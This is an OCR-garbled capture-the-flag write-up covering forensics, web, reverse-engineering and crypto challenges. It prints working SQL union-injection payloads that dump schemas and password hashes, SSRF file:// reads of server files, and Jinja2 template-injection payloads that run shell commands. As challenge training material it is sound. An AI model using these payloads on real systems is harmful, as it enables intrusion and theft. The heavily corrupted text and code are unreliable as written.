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1 F Wireshark 4 #rctf-dec.pacp

LR N ] I ctf-dec.pcap
d ® R B ] &= T S A Qa4 §
R £ -| Expression +
Packet bytes B Marrow & Wide B " case sensitive String B s R core
No. Time Source Destination Protocal Length Info
234 9.606718 192.168.43.86 117.18.237.29 TCP 54 3682 - 88 [ACK] Seq=B73 Ack=1577 Win=65536 Len=8
235 9.825411 52.10.153.199 192.168.43.86 TLSv1.2 1188 Application Data
236 9.877631 192.168.43.86 52.10.153.199 TCP 54 36@1 - 443 [ACK] Seq=779 Ack=4903 Win=64512 Len=0
237 11.687615 192.168.43.86 192,168.43.1 DNS 74 Standard query 8x7975 A image.30081.net
238 11.687615 192.168.43.86 192.168.43.1 DNS 78 Standard query Bx38Gd A search.freebuf.com
239 11.773123 192.168.43.1 192.168.43.86 DNS 158 Standard query response 8x7975 A image.3001.net CMAME freebufimage.b@.aicdn.com @
249 11.776191 192.168.43.86 192.168.43.1 DS 76 Standard query 8x2422 A nm.cun.aicdn.com =
241 11.777733 192.168.43.1 192,168,43.86 DNS 92 Standard gquery response @x2422 A nm,cun.aicdn.com A 220,.202,121.27
242 11.781824 192.168.43.86 192.168.43.1 DNS 76 Standard query Bx5194 AAAA nm.cun.aicdn.com
243 11.81261@ 192.168.43.1 192.168.43.86 DNS 94 Standard query response 8x306d A search.freebuf.com A 101.200.172.135
244 11.81567% 192.168.43.86 101.209.172.135 e 66 36@3 - 8@ [SYN] Seq=8 Win=8192 Len=0 M55-146@ WS=256 SACK_PERM=1
245 11.815680 192,168.43.86 192,168,43.1 DNS 78 Standard query 8x3455 AAAA search.freebuf.com jr—
246 11.821315 192.168.43.1 192.168.43.86 DNS 136 Standard query response 8x5194 AAAA nm.cun.aicdn.com S0A nsl.ialloc.com
247 11.859203 101.200.172.135  192.168.43.86 TP 66 80 - 36@3 [SYN, ACK] Seq= Ack=1 Win=1460@ Len=8 MS5=1378 SACK_PERM=1 WS=128
248 11.860735 192.168.43.86 101.200.172.135 TP 54 36083 - 8@ [ACK] Seq=1 Ack=1 Win=65536 Len=@
- 249 11.861248 192.168.43.86 101.200.172.135 HTTP 633 GET /search/7search=flag{H41f_1s_3nBugh} HTTP/1.1
258 11.874562 192.168.43.1 192.168.43.86 DNS 152 Standard query response @x3455 AAAA search.freebuf.com SOA flginsi.dnspod.net
» Frame 249: 633 bytes on wire (5864 bits), 633 bytes captured (5864 bits)
» Ethernet II, Src: EdupInte_53:79:62 (e8:4e:@6:53:79:e2), Dst: 02:ec:@a:Se:bes6h (B2:ec:@a:Se:be:6b)
» Intermet Protocel Version 4, Src: 192.168.43.86, Dst: 101.200.172.135
» Transmission Control Protocol, Src Port: 3683, Dst Port: B8, Seq: 1, Ack: 1, Len: 579
= Hypertext Transfer Protocol
v GET /fsearch/?search=flag{H41f_1s_3nBugh} HTTP/1.1\r\n
» [Expert Info (Chat/Sequence): GET /search/7?search=flag{H41f_1s_3nBugh} HTTP/1.1\r\nl
Request Method: GET
¥ Request URI: /search/?search=flag{H417_1s_3n@ugh}
Request URI Path: /search/
¥ Request URI Query: search=flag{H41f_1s_3n@ugh}
Request URI Query Parameter: search=flag{H41f_1s_3n@ugh}
Request Version: HTTP/1.1
Host: search.freebuf.com\rin
User-Agent: Mozillas/5.@ (Windows NT 108.8; WOWG4: rv:51.8) Gecko/2018@101 Firefox/51.8%r\n
B@48 68 2f 3T 73 65 61 72 63 68 3d 66 6c 6L 67 7b 48  h/7searc h=Flag{H
34 6c 66 5T 31 73 5f 33 Ge 30 75 67 68 7d 20 48  41f_1s_3 ndugh} H
54 54 50 2f 31 2e 31 @d @a 48 6f 73 74 3a 20 73 TTP/1.1 Host: s
65 61 72 63 68 2e 66 72 65 65 62 75 66 2e 63 BT earch.fr eebuf.co
6d 0d @a 55 73 65 72 2d 41 67 65 Ge 74 3a 20 4d m- -User- Agent: M
6f 7a 69 6c 6c 61 2f 35 2e 38 20 28 57 69 6e 64 ozilla/5 .8 (Wind
6f 77 73 2@ 4e 54 20 31 3@ 2e 30 3b 28 57 4f 57 ows NT 1 8.8; WoW
36 34 3b 20 72 76 3a 35 31 2e 30 29 28 47 65 63 64; rvi5 1.8) Gec
6b 6f 2f 32 38 31 30 30 31 30 31 20 46 69 72 65 ko/20180 181 Fire
66 6f 78 2f 35 31 2e 30 d @a 41 63 63 65 70 74 fox/51.8 - Accept
3a 20 74 65 78 74 2f 68 74 6d 6c 2c 61 7@ 70 6c i text/h tml,appl
69 63 61 74 69 67 6e 27 78 68 74 6d 6c 2b 78 6d  icatien/ xhiml+xm
6c 2c 61 78 78 6c 69 63 61 74 69 6f 6e 2f 78 6d  1,applic ation/xm
6c 3b 71 3d 30 2e 39 2c 2a 2f 2a 3b 71 3d 30 Ze 1;0=0.9, */+;q=0.
38 0d Ba 41 63 63 65 7@ 74 2d 4c 61 6e 67 75 61 8 -Accep t-Langua
67 65 3a 20 65 6e 2d 55 53 2c 65 6e 3b 71 3d 38 ge: en-U S,en;q=@
2e 35 8d Ba 41 63 63 65 7@ 74 2d 45 6e 63 6f 64 .5 Acce pt-Encod
69 6e 67 3a 20 67 7a 69 7@ 2c 20 64 65 66 6C 61 ing: gzi p, defla
74 65 Bd @a 52 65 66 65 72 65 72 3a 28 68 74 74  te- -Refe rer: htt
7@ 3a 2f 2f 73 65 61 72 63 68 2e 66 72 65 65 62 p://sear ch.freeb
75 66 2e 63 6f 6d 21 B@d @a 43 6f 6f 6b 69 65 3a wuf.com/ Cookie:
20 48 6d 5F 6c 76 74 5f 63 63 35 33 64 62 31 36 Hm_lvt_ cc53dblé
38 38 30 38 38 34 38 35 34 31 63 36 37 33 35 63 83080485 41c6735¢
65 33 30 34 32 31 66 35 3d 31 35 32 35 32 32 33 e30421f5 =1525223
38 37 35 2¢ 31 35 32 35 32 32 37 39 37 31 2¢ 31 875,1525 227971,1
35 32 35 32 32 38 30 34 38 2c 31 35 32 35 33 34 52522804 8,152534
37 33 38 39 3b 20 4B 6d 5 6c 70 76 74 5f 63 63  7389; Hm _lpvt_cc
35 33 64 62 31 36 38 38 39 38 30 34 38 35 34 31 53dbl688 BEA4B8541
¥ __HTTR -UR| 27 Packets: 383 : Displayect: 383 (100.0%)

0x03 WEB Code Check

R BB A RACRS MIFlag Bl &l :
5 E http://39.108.176.234:49882/news/i 12 K MBS : BIHHE

from Crypto.Cipher import AES

cryptor
context 'hxb2018"
if (len(context)%16 != 0 ):

add 16 - (len(context) % 16)
else:
add

context

context +

(%]

context + ('\@' * add)

H 0 A

AES.new( 'ydhagPQnexoaDuW3',AES.MODE_CBC, '2018201920202021")

return base64.b64encode(base64.bb64encode(cryptor.encrypt(context)))

while True:
test
print encrypt(test)

str(raw_input("please input

i,

B )5 iBidsqlE Flflag:




-1 union select 1,load_file('/var/www/flag.php'),3,4 --

-1 union select 1,load_file('/var/www/flag.php'),3,4 --

union select 1,group_concat(schema_name),3 from information_schema.schemata

-1 union select 1,2,version(),4 --

-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata --

mozhe_discuz_stormgroup

-1 union select 1,group_concat(table name),3,4 from information_schema.tables where table_schema='mozhe_discuz_s
tormgroup’ --

notice,notice2, stormgroup_member

-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_mem
ber'

id,name, password, status

-1 union select 1,name,password,4 from stormgroup_member where id=1 --

mozhel

3561589a7df439f6f7441ff19bb8092c0

-1 union select 1,name,password,4 from stormgroup_member where id=2 --

-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice' --
id,title,content,time

-1 union select 1,id,title,4 from notice2 where id=1

-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='notice2’

and 1=1 #
JVOMmpRQIZY SOBWLGNQUTBOMXVEOEVSAX) JcDZEKZZOVGAIRTO=
input:1” and 1=1
£2ZF AVWXFCVLVNRLUx i ZERYRVhUNGYLOGRURDYBUB) s Stuczc FSaz=
g.php'),4
Qp Y I IKDEIPY

LpKbHhINKhLan)Z51BvVetM)kRPaDB3UnhLdXdwiHdCdiwl S 1 LaY LZ6KZUSRHB4Aa3hmb3hvam JUQVPpNHYSMNE J PG

NThpCFRybngs
please input:-1 ile(’ /var/wem/flag.php' ) 4

eGdkNThpCFRybn TQippY3F Dol UOHMyU3NZHOZBOHVLVX) 1751 22GYxWVR ] YOF QbHpwtcaXNULkclix S Z8hmTOZVS kxNVHVE chd1VW1pdnoSVWESP Q=

please input:-1 union select 1,lood_fileC"/var/wew/flag.php'),3.4

eGdkNThpCFRyb 21 EVBHSC + 32yt 8T kpONGRIb TdwRD kel 3MXhUERNBUVXQVUXN a3 dwh NG Y COEIP e

put 3 ame), 3 from information_schema nata
5 GE tBYNZmRVVAZU mdnZ § SVIRZK4UE d4NRhaVgSY 3 EMN] rbV L £ TF d3dGRFNKLVUBpx ZWgxdGZDaXNE RmxGQ1NNL BxaTDE4dnZPent
nformation_schema. schemata

FRybngdVnpTQkppY3FDAGR { MVUWY 2BVWkdKVTR SK3887 2 tm V14YUVnaDVnUzVwaZ FrllXp FVF 1xc 2F ZZDV6dioiL Bx TRGoSc2 1 hZnprRGhVZ kcrVINMUBTZ N j Y2WNT1 1IRE1sYkSFc jRSVpPS2dNVVEXNT 1 1Ng=
1 group_concat(schema_name),3 from information_schema.schemata
GGR 1 WWUWY ZEVW VTR s K382 2 tmod JmS V1 4YUVnaDVnliz iwa 2 FnlXp PWF Ixc 2F ZZDVEdiodNL 8x INGOSc2 LhZ 1 tWNj cSN2Q1 TmhSe FEZZ01vSUg4VzZ JbNpz dDUxdUd 1 dE 1 aRUVWMFZUV1E

n(),4
ZYZBNVURNUHVUYUSUU | HAZRNT dwelXpG ez VWcHA3K10bS:
hema_name),3 f
{WUWY ZBVIWK KV TRSK UTLZRm. TTEBV2g j)2an]4amdyeE ZwUHE ZZ1 YONNNZDZZMVNGY 1L 1KZROT TNNNUxxaXFtUHVC a1 VR BEYrRoU1 Y=
st:-1 union se up_concat(table_na sc 1 table_schemo-"mozhe_discuz_stormgroup’
eGdkNThpc FRybng4Vno TQkppY3F 1 LRV eity L e Z1XYTFod ZtMUwxRAm565 K] SVVU3SOFYeGFIbDkyd@xBS 1VyR2Fi ekxGaExqTBtWRId4 cFpiV1dgaHR SOV owd LiMUX3YmeRWGS0dHZ jaEpKVinB j KzFTNGVKRUF SeUd FM3Qy SW1cK1 1ViwyOE

oup_concat{column_name) 3,4 from information_schema.columns where table_name='stormgroup_member
FV3L3phV@d6QUt ia jhvTTFSUNIoVRlaYXROVIWL 1WMWUre swdlh IbnplL UXgZNZ xuMH IMb Zh IMBNIVNE W1 ZuR Gs 3VGVUUHGwS 1Y 1VDg 1 ZF Vxdy9Z cUNT SDZ ZNndwdWSy T 1RSUMVZNUR JYWF1Z j ILUGESVz JoMS t rdl hTa2 | WZHBZP(:

LVTOUEQaINLRURD c1dCUT
put
WCSZTHUVALVTOUSQA JNLRURI € 1ACUT!
input:-1 union se
dkNThp<FRybng4Vnp TQkppY3FDb: d31 SOTdhNUNOMEB3 cme40TVECGOzUTYBS1RYR3EVLhaNHLRSVpHCGLKL INGTFFadTVpOVkS

HkNThpcFRybng T 3 ARG B PNUVZMGVIW < DhoalidyOGRKSV1 1.c2Mxcm UQXFLVUVBRK LZmUr#VV jMTVEa jB2bUIEVHCY
please input:-1 union select 1
eGdkNThpcFRybngd Y3FL Hphllj 6 s W 1zMinc FLVU1Pd3dpMGFHOnRRGNY 3aGpTeTIV
ect 1 ¢ i heme ns notice’
TQkppY3FL i » I 3L 3pHve LajhvT JaYKRCVIHE 1WWUre swdDhIbnp LUXGZNZ xUMHIMD Zh IMBNWVIVE rWL ZURGs 3VGVUUHgWS 1Y 1VDg L ZFVxdySZ cUNNMGF rivU96dXBEbUS INDRTT kekr YUXKNVNPaHhtb TAORGh 1Mm)
se
2 SkdZQert £ YRhQWFNSMIFE 1L @hmdDRSCF LEWFozM]dmS 2 FGQ@dUQWLrU j YSRFQxYULleHc9
please input . e
eGdkNThpCFRyb: M F R pjZnVR 121 eUdHSkdZQert t YLHUSH] Nak SQRG LWME pK SV Nald ) aUxHY 2 d jOWNSOE tReNLrikFhZmBzal E9
please input
GAKNThpCFRybng4Vno TQkpp Y 3FDaNLY JdF FoeERSb3VSS 3 YwdNdzRkF ZdF ZBOTLSK2MwS kdzcrBWeXTx TWRvd I gwZ GREWk tnbkg2dFVFbXpSViszN3 JDNVERQXVrQTRUOTQS
union select concat(column_name),3,4 from inf olumns where table_name='notic
Vg TQkpp Y IFDAXZ6d1EWNGthL1B1 YK KeUpFVFVIL3phvadegue TTFSUNIONRI aYKREVIVE LML e swaDhJbng LUKGZNZ xuMHIMD Zh IMBNIVIVE rWL ZURGS 3VGYULHgWS 1Y 1VDg1ZF Vxdy3Z cCUNRVERYRKZIM] LMUVHAT doMz IrcVg2 TLVE CEJyYWgRS VOVENXT JhENERT
4 from notice2 where 1

MV PV SHVOQKQYUE xSk T33P https:/iblog.csdn.net/qq_35405259




By

hxb2018{14ef3bd9a833a50b7ae24bbb0e4d57c8}

0x04 WEB Readflag

fRRR BB . R FIFlag®: & -

T 2 J5 /8 B #2718 A url-ssrf:

W & BAEEweb.php:

& > C ©® L2 | view-source:47.107.238.3/2url=file:///var/www/html/ssrf/web.php

A Emm = et = [rrurer Syt i e e

1| <?php

2| if(!isset($_GET['url'])){

3 echo "ssrf me with parameter 'url'";

= )

5| $ch = curl _init();

6| curl_setopt($ch, CURLOPT URL, $ GET['url']);
7|//echo $§ GET['url'];

8 | curl setopt($ch, CURLOPT RETURNTRANSFER, 1);
9 | #curl setopt($ch, CURLOPT FOLLOWLOCATION, 1);
10 | curl setopt($ch, CURLOPT HEADER, 0);

11 | echo curl_exec($ch);

12| curl close($ch);

13

14| //var_dump($_POST);

15| $ip = $_SERVER[ 'REMOTE_ADDR'];

16 | 1f (isset($_POST[ 'user'])){

117 if($ POST[ 'user']=="admin" && $ip=="127.0.0.1"){
18 system("/var/www/html/ssrf/readflag");
19|}

20

WRIE R~ fEfEreadflag. HRVHREM, FEHACESHEEK, Vireadflag.c

<« - C ® ;FﬁﬁJ view-source:47.107.238.3/?url=file:///var/www/html/ssrf/readflag.c

A b e B e B Jrom=w=i* § o 1 n foan Drawe K

' #include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{

char ch;

TTTTT 4L .

DO AWK =



O riuo "Lp;

7| int 1i;

8

9 if((fp=fopen("flag","r"))==NULL)
10| {

11 printf("error\n");

12 exit(0);

13| }

15 while ((ch=fgetc(fp))!=EOF)

16 | putchar(ch);

17 fclose(fp);
18| }

RIVZAE PR Rflag S, 17143 Fliflag:

&« > C @© FLZE | view-source:47.107.238.3/7url=file:///var/www/html/ssrf/flag
EEE A bl L] =1' =.-‘ : L L LY q 1 s B i = :l'l' 2

1 hxb2018{0ef0c0d15f1a00b47af2a01669fbf124}

0x05 WEB XmeO



R RS HERARRD AIFlag & -

5

payload: {{''.__class_ . mro_ . getitem_ (2)._ subclasses_ ().pop(59).__init__ .func_globals.linecache.os.pope
n('grep -nir hxb2018"').read()}} o

FRE | 47107172.171:9990 * O 8 p

5 {{ config'RUNCMD']('cat /usr/local/aegis/PythonlLoader/third_party/pymysql/constants/FLAG.py' shell=True)}} 0 1542531056.18

6 <script>alert( hxb2018{e07a689a7c0bb56720466e93ca05})</script> 0 1542531067.11

7 {{""._class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -r -n "hxb" 0 1542531093.64
/home').read()}}

8  ImQ20Tg2MGUzY2ViIMmZkNjc20GlyYzdmODQzNDE1YzU3NTdZDMxZGQi.W_EoPg.iHProbcP6iVPkEbCzFyQ7IZKX8Q 1 1542531296.24

Delete

ssti IR 45 23 I AR AR IE A\ 3k 5 flag .

@ 2018“MpHEME" MBREIAEAT X ] ™ BE—T, RMEE X [ 47107.172.171:9990/show/26¢ X <+
& > C O L2 | 47107172.171:9990/show/266b3fe0-eb0f-11e8-bd57-00163e0a6686

Binary file /home/XmeO/test.db matches /home/XmeO/auto.js:26: 'value' : 'hxb2018{510243761ff63759ed7fe96ca2759e45}',

0x06 Reverse Replace



U A RACRS A Flag A& -
WREFEH

signed int fastcall sub 401090(int buffer, int len)
{
int buffer_; // ebx
int indexj; // edx
char v5; // al
int v6; // esi
int v7; // edi
char v8; // al
int v9; // eax
char v10; // cl
int vll; // eax
int v12; // ecx

bufferx = buffer;
if ( len I= 35 )

return -1;
index = 0;

while ( 1)
{

vE = #( BYTE *)(index + buffer );
vhE = (v5 >> 4) % 16;
vl = (16 * v5 >> 4) % 16;
a2a49£69c38395¢c([2 * index];
vl < 48 |I ve > 57 )
v = vB - 'W';
else
v = v8 - '0';
vi0 = a2a49£69c38395¢c([2 * index + 1];

vlil = 16 * v9;

=4

if

-~

if ( vi0 < 48 || v10 > 57 )
vli2 = v10 - 87;

else
vi2 = v10 - 48;

if ( (unsigned __int8)byte_4021A0[16 * v6 + v7] I= ((vil + v12) ~ O0x19) ) )
break;

if ( ++index >= 35 )
return 1;

return -1;

}

testl = "637c777bf36b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2at9cad72cOb7fd9326363ff7cc34a5e51171d8311504c723c¢
318960592071280e2eb27b27509832clalb6e5aad523bd6b329e3218453d100ed20fcbl15b6acbbe394a4c58cfd@efaatb434d33854519027
f503c9fa851a34081929d38f5bcb6da2110fff3d2cd@cll3ec5f974417c4a77e3d645d1973608141dc222a908846eeb814de5edbdbed323a0
24906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4eab57aae@8ba78252elcabb4c6e8dd741f4bbd8b8a703eb5664803160e613557b
986c11d9eel118981169d98e949b1e87e9ce5528df8cal890dbfe6426841992d0fbo54bb1648" .decode( 'hex")

test2 = '3350ef85212045c78fcfedf93c51504dcf004d51c7effbc3cf6e9ffbo443c3ff' . .decode( hex")

for tet in test2:
if tet in testil:
print(chr(testl.index(tet))),




$f5flag:

flag{Thls_Simple_Replac3_Encoed3}
[Finished in 0.0s]

https://blog.csdn.net/qq_35405259

0x07 MISC Disk

R B RIS FIFlagak & :

00 ctf-flat.vmdk

ext Number Mask Strings

Value: f

Encoding: ISO_8859-1:1987 T

Hex: 66 00 6C 00610067

Position

Ox10C4F2 g T XX
Ox10C8F2 FIEREL s T XT
Ox10CCF2 i 2 e k-
Ox10DOF2 TIEES s £ x%
0x22552A Tlagn.txt -
0x225592 T iRl XY #
0x225662 1803 : 1%
Ox5A4A3A T289080 . £x% Ji
Ox5A4B9A Tiegld.txt
Ox5A4F62 18D 1:txt L §

Results: 15 ?



@%ﬁﬂagﬁiﬂﬁﬂtz

YU Ui UL UD YW UD UD U/ YO UY UA UD UL UU UL Ur 10 1i ic 13 1% 13 10 17 10 1Y LA 1D iU iU AT AT £U £1 CC £3 £% £D £0 &7 £0 £Y CA £D LU LU £E £T DU 31 D& 33 3% 33 30 I

418 78 01 00 00 00 @4 00 00 00 00 00 0@ 00 00 00 @0 05 00 00 00 21 00 00 @0 05 @0 00 00 00 00 00 00 10 @0 00 @0 GO 00 00 00 00 00 00 @0 00 @0 00 00 48 0@ 00 00 18 @0 00 00 X................... I —— O g v
€450 55 CF OF 19 81 E2 D3 01 3C 68 91 29 81 E2 D3 @1 3C 68 91 29 81 E2 D3 01 55 CF OF 19 81 E2 D3 01 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @5 01 00 00 U
488 00 00 00 00 00 00 00 00 00 00 00 00 00 @0 00 00 30 00 00 00 70 00 00 00 00 00 00 00 00 00 02 00 54 00 00 00 18 00 01 00 05 00 00 00 00 00 @5 00 55 CF OF 19 81 E2 D3 01
€4C0 55 CF OF 19 81 E2 D3 01 55 CF OF 19 81 E2 D3 @1 55 CF OF 19 81 E2 D3 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 09 03 66 00 6C 00 61 00
C4F8 67 00 30 00 2E @0 74 00 78 00 74 00 00 00 00 @0 80 00 00 00 30 00 00 @0 00 @0 18 00 00 0@ @3 00 11 @0 00 00 18 00 00 \
€530 2E 00 00 00 00 00 00 00 80 00 00 00 38 00 00 00 00 03 13 00 00 00 04 00 11 00 00 00 20 00 00 00 61 00 64 00 73 00 00]00[01 10 01 10 01 10 11 00 01 10 00 01 01 10 01 11"
568
C5A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
CSD8 00 00 00 00 00 @0 00 G0 00 00 00 00 60 00 00 00 00 G0 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00 00 G0 05 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00
€610 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
648 00 00 00 00 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 00 00 00 ...
€680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
C6B8 00 00 00 00 00 @0 00 G0 00 00 00 00 60 00 00 00 00 G0 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00 00 G0 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00 ...
C6F@ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
€728 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 G0 00 00 00 00 G0 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00
€760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
€798 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 G0 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00 00 G0 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00
€700 00 20 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 46 49 4C 45 30 00 03 00
€808 E2 50 20 00 00 00 00 00 01 00 01 00 38 00 01 00 78 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 05 00 00 00 22 00 00 00 05 00 00 00 00 00 00 00 10 00 00 00 60 00 00 00
€840 00 00 00 00 00 00 00 00 43 00 00 00 18 00 00 @0 55 CF OF 19 81 E2 D3 01 3C 68 91 29 81 E2 D3 @1 3C 68 91 29 81 E2 D3 @1 55 CF @F 19 81 E2 D3 01 20 00 00 00 00 00 00 00 ...
878 00 00 00 00 00 00 00 00 00 00 00 00 05 01 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 30 00 00 00 70 00 00 00 00 00 60 00 00 00 02 00 54 00 00 00 18 00 01 00 ...
€880 05 00 00 00 00 00 05 00 55 CF OF 19 81 E2 D3 @1 55 CF OF 19 81 E2 D3 @1 55 CF OF 19 81 E2 D3 @1 55 CF OF 19 81 E2 D3 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
C8E8 20 00 00 00 00 00 00 00 09 03 66 00 6C 00 61 00 67 00 31 00 2E 00 74 00 78 00 74 00 00 00 00 00 80 00 00 00 30 00 00 00 00 00 18 00 00 00 03 00 11 00 00 00 18 00 00 00
€920 66 6C 61 67 20 69 73 20 6E 6F 74 20 68 65 72 65 2E 00 00 00 00 00 00 00 30 00 00 00 33 00 00 00 00 03 18 00 00 00 04 00 11 00 00 00 20 00 00 00 61 00 64 00 73 00 00 00
€958 11 10 11 00 11 01 00 01 00 01 00 01 01 00 11 01 01 00 00 00 00 00 00 00 FF FF FF FF 82 79 47 11 00 00 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 00 00 60 00 00 00
€990 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
C9C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 G0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 _0A A A GA 4K 0A AA A AA AX 0A A A AA AX 0A AA A AA A0 0S5 AN
CAG® 00 00 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ¢ stt-flai. k.

CA38 00 00 00 00 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 ¢
CA70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €

..UL...a0.ui...a0
.« 1. tx.t. .

flag is not here....

Number ~Mask  Strings

CAA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 ¢ Value: f

CAE@ 00 00 00 00 00 00 00 00 00 00 00 @0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ¢ X -

FRIR 00 00 00 00 00 00 00 0O 00 00 00 00 A0 00 00 00 00 NO 0A 00 00 00 A0 00 A0 00 00 0O 04 00 00 00 00 0 1S0_8859-1:1987 s
End Length Content Hex: 66 00 6C 00 6100 67

C558 0x10C568 0x11 011001100110 1100 011000010110 011101

e s+ 7N ) 25 1F = BE ) B E R B 7118 Elflag:
011001100110110001100001011001110111101100110100010001000161001101011111601100010110111001011111610001000011000

1011100110110101101111101
83): flag{4DS_1n_D1sk}

0x08 Crypto Common Crypto

BB . ARSI Flag®i A -
i 4 AT AR BIXANE P R faesin® T —#f7rflag. LA RAES S&i:

SR ERBN @ (5 Pseudoco...

.rdata:000000014001AC40 qword 14001AC40 dq 433FFFFFFFFFFFFFh
.rdata:000000014001AC48 gqword_14001AC48 dq OC33FFFFFFFFFFFFFh

@ (] Pseudoco...

@ [F] pseudoco...

@[5 Pseudoco... @ [C] Hex Vi..  @I[A] Struct...

; DATA XREF: .text: frndfTr

® .rdata:000000014001AC50 byte 14001AC50 db 63h, 7Ch, 77h, 7Bh, OF2h, 6Bh, 6Fh, 0OC5h, 30h, 1, 67h
.rdata:000000014001AC50 ; DATA XREF: sub 1400012A0+5ETo
.rdata:000000014001AC50 db 2Bh, OFEh, OD7h, OABh, 76h, OCAh, 82h, 0CSh, 7Dh, OFAh
.rdata:000000014001AC50 db 59h, 47h, OFOh, OADh, OD4h, OA2h, OAFh, 9Ch, OA4h, 72h
.rdata:000000014001AC50 db 0COh, OB7h, OFDh, 93h, 26h, 36h, 3Fh, OF7h, OCCh, 34h
.rdata:000000014001AC50 db OA5h, OE5h, OF1h, 71h, OD8h, 31h, 15h, 4, 0C7h, 23h
.rdata:000000014001AC50 db 0c3h, 18h, 96h, 5, 9ah, 7, 12h, 80h, OE2h, OEBh, 27h
.rdata:000000014001AC50 db 0B2h, 75h, 9, 83h, 2Ch, 1Ah, 1Bh, 6Eh, 5Ah, OAOh, 52h
.rdata:000000014001AC50 db 3Bh, OD6h, OB3h, 29h, OE3h, 2Fh, 84h, 53h, OD1lh, 0
.rdata:000000014001AC50 db OEDh, 20h, OFCh, OBlh, 5Bh, 6Ah, OCBh, OBEh, 39h, 4Ah
.rdata:000000014001AC50 db 4Ch, 58h, OCFh, ODOh, OEFh, OAAh, OFBh, 43h, 4Dh, 33h
.rdata:000000014001AC50 db 85h, 45h, OF9h, 2, 7Fh, 50h, 3Ch, 9Fh, OA8h, 51h, OA3h
.rdata:000000014001AC50 db 40h, 8Fh, 92h, 9Dh, 38h, OF5h, OBCh, OB6h, ODAh, 21h
.rdata:000000014001AC50 db 10h, OFFh, OF3h, OD2h, OCDh, OCh, 13h, OECh, 5Fh, 97h
.rdata:000000014001AC50 db 44h, 17h, 0C4h, OA7h, 7Eh, 3Dh, 64h, 5Dh, 19h, 73h
.rdata:000000014001AC50 db 60h, 8lh, 4Fh, ODCh, 22h, 2Ah, 90h, 88h, 46h, OEEh
.rdata:000000014001AC50 db 0BS8h, 14h, ODEh, 5Eh, OBh, ODBh, OEOh, 32h, 3Ah, OAh
.rdata:000000014001AC50 db 49h, 6, 24h, 5Ch, 0C2h, OD3h, OACh, 62h, 91h, 95h, OE4h
.rdata:000000014001AC50 db 79h, OE7h, 0C8h, 37h, 6Dh, 8Dh, OD5h, 4Eh, OASh, 6Ch

».rdata:000000014001AC50 db 56h, OF4h, OEAh, 65h, 7Ah, OAEh, 8, OBAh, 78h, 25h

.rdata:000000014001AC50 db 2Eh, 1Ch, OA6h, OB4h, OC6h, OE8h, ODDh, 74h, 1Fh, 4Bh
.rdata:000000014001AC50 db OBDh, 8Bh, 8Ah, 70h, 3Eh, OBSh, 66h, 48h, 3, OF6h, OEh
